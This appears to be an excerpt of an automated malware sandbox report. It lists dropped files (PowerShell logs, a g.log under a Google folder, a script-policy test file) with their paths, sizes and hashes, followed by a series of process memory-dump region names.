SHA512 77d0794dfb592088e13401e46feb8ec2b36b87a7869e8619e97bf071d7f69d967362bae206b1f215018f9bd4552521c7bd21bd33341e9494b817c53e0fadeda0
SSDEEP 24576:rWVipGdVZjdqVC5jd88FC3bc+uxWV+i+JJi732RuzDhk:rWVipAxqo5p88CbXuxWQiSJU32n
MD5 SHA1 SHA512 SSDEEP

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g.log

Path C:\Program Files\Google\Libs\g.log
Size 226B
SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
MD5 fdba80d4081c28c65e32fff246dc46cb
SHA1 74f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA512 b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
MD5 SHA1 SHA512

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powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 8ef7a682dfd99ff5b7e9de0e1be43f0016d68695a43c33c028af2635cc15ecfe
MD5 440cb38dbee06645cc8b74d51f6e5f71
SHA1 d7e61da91dc4502e9ae83281b88c1e48584edb7c
SHA512 3aab19578535e6ba0f6beb5690c87d970292100704209d2dcebddcdd46c6bead27588ef5d98729bfd50606a54cc1edf608b3d15bef42c13b9982aaaf15de7fd6
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 6353a11014d2c1495ac7a5efef195d06d8e8b30a163c437263361deb5a28de03
MD5 380007fbdf9fef355db2afd71fce9cd1
SHA1 e98802ef10fac8ef96a3210930784c317ca76fa0
SHA512 9790c6b4c16ed4f4e6cddf492d01a6b4963e20bde6ddf40017db20ffc672b0cfaea2ad6aebcb51e8e459682974be0d024b35546aad840051a1e9fe2d3e565bd5
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 0d7a62ab7c299a90db4e2ec1a6c4b10e7bf17879f699f042728e7f4870c69a53
MD5 a16b84830c7c18df54f25c15d0f81951
SHA1 9d817fc72fbaf76175e677dec66002e9bdff6da0
SHA512 98b62f81111e958787db2137649d7ae1769ae142dce1d824a8093283fac50846f59e0b1e1cfe26ed07322bee1c8ddad2bc1b18a0d69ecaa1f79c7a9bc26300b6
MD5 SHA1 SHA512

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__PSScriptPolicyTest_2yatfogo.fgk.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2yatfogo.fgk.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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powershell.exe.log

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 4KB
SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
MD5 bdb25c22d14ec917e30faf353826c5de
SHA1 6c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA512 b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
SSDEEP 96:iq3NYqGeHo9xrLSdx4qKkq3qktznENYrhGaq66iNLm0RIzoZcBPQhDAyRLcxZpoG:iqdYqGAjdx4qKkq3qktznEuZq6FIzoI
MD5 SHA1 SHA512 SSDEEP

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StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
MD5 b42c70c1dbf0d1d477ec86902db9e986
SHA1 1d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA512 57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5
MD5 SHA1 SHA512

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memory/1268-190-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp

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memory/1268-156-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp

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memory/1268-135-0x0000021BE82C0000-0x0000021BE82E0000-memory.dmp

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memory/1268-134-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp

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memory/1268-132-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp

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memory/1268-138-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp

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memory/1268-130-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp

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memory/1268-136-0x0000021BE82E0000-0x0000021BE8300000-memory.dmp

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memory/1268-188-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp

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memory/1268-186-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp

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memory/1268-128-0x0000021BE82E0000-0x0000021BE8300000-memory.dmp

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memory/1268-127-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp

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memory/1268-126-0x0000021BE82C0000-0x0000021BE82E0000-memory.dmp

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memory/1268-184-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp

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memory/1268-182-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp

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memory/1268-180-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp

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memory/1268-178-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp

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memory/1268-176-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp

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memory/1268-174-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp

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memory/1268-172-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp

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memory/1268-166-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp

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memory/1268-164-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp

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memory/1268-162-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp

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memory/1268-160-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp

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memory/1268-158-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp

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memory/1268-125-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp

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memory/1268-154-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp

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memory/1268-152-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp

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memory/1268-140-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp

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memory/1268-123-0x0000021BE8280000-0x0000021BE82C0000-memory.dmp

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memory/1268-150-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp

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memory/1268-148-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp

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memory/1268-146-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp

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memory/1268-144-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp

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memory/1268-142-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp

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memory/1268-117-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp

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memory/1268-122-0x0000021BE7D60000-0x0000021BE7D80000-memory.dmp

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memory/1732-10-0x000001F770EB0000-0x000001F770ED2000-memory.dmp

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memory/1732-16-0x00007FFE359E0000-0x00007FFE364A1000-memory.dmp

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memory/1732-11-0x00007FFE359E0000-0x00007FFE364A1000-memory.dmp

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memory/1732-12-0x000001F7704F0000-0x000001F770500000-memory.dmp

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memory/1732-13-0x000001F7704F0000-0x000001F770500000-memory.dmp

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memory/2036-52-0x00007FF67C600000-0x00007FF67C811000-memory.dmp

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memory/2036-121-0x00007FF67C600000-0x00007FF67C811000-memory.dmp

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memory/3636-30-0x00000199AEE50000-0x00000199AEE60000-memory.dmp

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memory/3636-29-0x00000199AEE50000-0x00000199AEE60000-memory.dmp

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memory/3636-33-0x00007FFE359E0000-0x00007FFE364A1000-memory.dmp

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memory/3636-31-0x00000199AEE50000-0x00000199AEE60000-memory.dmp

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memory/3636-28-0x00007FFE359E0000-0x00007FFE364A1000-memory.dmp

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memory/4084-0-0x00007FF7C6490000-0x00007FF7C66A1000-memory.dmp

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memory/4084-35-0x00007FF7C6490000-0x00007FF7C66A1000-memory.dmp

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memory/4288-51-0x00007FFE359E0000-0x00007FFE364A1000-memory.dmp

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memory/4288-45-0x00007FFE359E0000-0x00007FFE364A1000-memory.dmp

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memory/4288-47-0x0000025993FF0000-0x0000025994000000-memory.dmp

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memory/4288-48-0x0000025993FF0000-0x0000025994000000-memory.dmp

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memory/4456-131-0x00007FF735D10000-0x00007FF735D26000-memory.dmp

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memory/4456-124-0x00007FF735D10000-0x00007FF735D26000-memory.dmp

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memory/4792-113-0x00007FFE359E0000-0x00007FFE364A1000-memory.dmp

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memory/4792-110-0x000001B941CC0000-0x000001B941CD0000-memory.dmp

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memory/4792-111-0x000001B941CC0000-0x000001B941CD0000-memory.dmp

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memory/4792-100-0x00007FF4306E0000-0x00007FF4306F0000-memory.dmp

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memory/4792-99-0x00007FFE359E0000-0x00007FFE364A1000-memory.dmp

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memory/4888-80-0x00000193751F0000-0x000001937520A000-memory.dmp

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memory/4888-74-0x0000019374D60000-0x0000019374D7C000-memory.dmp

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memory/4888-83-0x00000193751E0000-0x00000193751EA000-memory.dmp

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memory/4888-79-0x0000019375190000-0x000001937519A000-memory.dmp

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memory/4888-78-0x00000193751B0000-0x00000193751CC000-memory.dmp

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memory/4888-77-0x0000019374D80000-0x0000019374D8A000-memory.dmp

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memory/4888-76-0x0000019374F90000-0x0000019375045000-memory.dmp

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memory/4888-81-0x00000193751A0000-0x00000193751A8000-memory.dmp

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memory/4888-75-0x00007FF4BB490000-0x00007FF4BB4A0000-memory.dmp

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memory/4888-63-0x0000019374360000-0x0000019374370000-memory.dmp

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memory/4888-64-0x0000019374360000-0x0000019374370000-memory.dmp

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memory/4888-62-0x00007FFE359E0000-0x00007FFE364A1000-memory.dmp

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memory/4888-82-0x00000193751D0000-0x00000193751D6000-memory.dmp

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memory/4888-84-0x0000019374360000-0x0000019374370000-memory.dmp

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memory/4888-87-0x00007FFE359E0000-0x00007FFE364A1000-memory.dmp

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